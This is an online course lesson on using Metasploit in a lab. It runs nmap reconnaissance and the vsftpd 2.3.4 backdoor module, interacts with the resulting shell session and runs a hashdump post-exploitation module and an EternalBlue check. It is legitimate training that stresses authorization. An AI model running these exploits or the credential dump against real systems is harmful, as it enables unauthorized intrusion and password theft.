Exploiting a Known Vulnerability
Use an exploit module against a vulnerable target in a lab; interpret session output.
Exploiting a Known Vulnerability is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
Ethics and Authorization First
Exploitation is only legal against systems you own or have explicit written authorization to test. All examples here are for authorized lab environments. Unauthorized exploitation is a criminal offense.
Lab Setup Recommendation
Use intentionally vulnerable VMs: Metasploitable2/3, DVWA, VulnHub machines, or HackTheBox/TryHackMe for legal practice. Never test on production or real-world systems without a signed scope document.
# Download Metasploitable2
# https://sourceforge.net/projects/metasploitable/
# Or use VulnHub
# https://www.vulnhub.com/
# Network: host-only adapter (isolated)Reconnaissance Before Exploitation
Always enumerate before exploiting. Know the exact service version, OS, and context before selecting an exploit. Wrong version = failed exploit or system crash.
sudo nmap -sV -O 192.168.1.100
# Identify:
# - OS version
# - Service + exact version
# - Open ports
# Then search Metasploit for matching exploitSelecting the Right Exploit
Search by service name and version. Prefer modules ranked Excellent or Great. Read the info to confirm the target platform and version range matches.
msf6 > search vsftpd 2.3.4
# exploit/unix/ftp/vsftpd_234_backdoor
# Rank: Excellent
msf6 > info exploit/unix/ftp/vsftpd_234_backdoorConfiguring and Running the Exploit
Set RHOSTS (remote target), LHOST (your IP for reverse connections), LPORT (listener port), select a payload, then run. Watch for session creation or error messages.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set payload cmd/unix/interact
msf6 > run
# [*] Command shell session 1 openedInterpreting Results
A successful exploit opens a session. Failed exploits show error messages: connection refused (port not open), exploit failed (wrong version), no session created (payload failed to connect back).
# Success:
[*] Started reverse TCP handler
[*] Command shell session 1 opened
# Failure:
[-] Exploit aborted: Bad return value from check
[-] Exploit failed: No session was createdInteracting with a Session
After exploitation, interact with the session using sessions -i . Basic command shell sessions give a terminal; Meterpreter sessions provide a rich API.
msf6 > sessions # list all sessions
msf6 > sessions -i 1 # interact with session 1
# Once inside:
id
whoami
ifconfig
uname -aBackground and Multiple Sessions
Press Ctrl+Z to background a session and return to msfconsole. This lets you manage multiple sessions or run post-exploitation modules against a specific session.
# Background active session
Ctrl+Z
# List sessions
msf6 > sessions
# Run post module against session 1
msf6 > use post/linux/gather/hashdump
msf6 > set SESSION 1
msf6 > runCheck Command
Many exploit modules implement a check command that tests if the target is vulnerable without actually exploiting it. Always run check first if available.
msf6 exploit(ms17_010_eternalblue) > check
# [+] 192.168.1.100:445 - The target is vulnerable.
# Or:
# [-] 192.168.1.100:445 - The target is not vulnerable.Exploit Reliability Considerations
Exploits can crash services, trigger alerts, or leave logs. In production assessments: time exploits during low-traffic windows, have a rollback plan, and confirm backups exist before running anything destructive.
Documenting Exploitation
Record: timestamp, target IP and port, exploit module used, CVE number, payload used, session obtained, and evidence (screenshot or terminal output). This is your proof of vulnerability for the report.
Quick Check
What does the Metasploit "check" command do?
Summary: Exploiting Vulnerabilities
Ethical exploitation follows a clear flow: get written authorization, enumerate carefully, select the matching exploit, read the module info, run check first if available, execute, document everything. Never exploit without authorization — the technical skill and the ethical boundary are inseparable.
Frequently asked questions
Is the “Exploiting a Known Vulnerability” lesson free?
Yes — the full text of “Exploiting a Known Vulnerability” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Exploiting a Known Vulnerability”?
Use an exploit module against a vulnerable target in a lab; interpret session output. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Exploiting a Known Vulnerability” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Metasploit Architecture and msfconsole
- Exploiting a Known Vulnerability
- Payloads: Staged vs Stageless, Meterpreter
- Post-Exploitation: Pivot and Persist